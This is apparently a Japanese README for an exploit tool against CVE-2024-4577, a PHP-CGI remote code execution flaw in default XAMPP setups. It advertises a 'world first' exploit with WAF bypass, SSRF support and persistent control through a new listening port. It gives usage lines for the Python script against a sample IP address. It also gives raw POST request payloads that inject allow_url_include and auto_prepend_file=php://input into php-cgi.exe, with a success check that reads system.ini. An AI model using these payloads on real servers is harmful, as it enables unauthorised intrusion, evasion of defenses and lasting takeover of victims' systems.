##
* グローバル初のPHPデフォルト環境(XAMPP)を利用したCVE-2024-4577 PHP-CGI RCE脆弱性のエクスプロイト。
* 世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。デフォルトのPHP環境を利用。オリジナルのエクスプロイトを共有し、SSRFをサポート、WAFバイパスをサポート。
* PHPデフォルト環境でRCEを実現。原理:`cgi.force_redirect` \+ `REDIRECT-STATUS`。
* 新規オリジナルEXP、WAFバイパスシナリオに対応した手法を追加。原理:FastCGIサーバーの構築 + FastCGIプロトコル通信。
* 新規オリジナルEXP、SSRFシナリオに対応した手法を追加。原理:data://プロトコル + GETリクエスト。
* `allow_url_include`、`auto_prepend_file`、`auto_append_file` を必要とせずにRCEが可能。任意のファイルやPHPファイルをインクルードできます。
* WAFが頻繁にブロックするキーワード `allow_url_include`、`auto_prepend_file`、`auto_append_file` が出現しません。
* 新しいポートをリッスンするため、ApacheやPHPから独立してPHPサーバーを永続的に制御できます。
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
または、こちらから影響を受けるバージョンを選択してください:
文字列 "TesT" またはサーバーの system.ini ファイルの内容が返されるか確認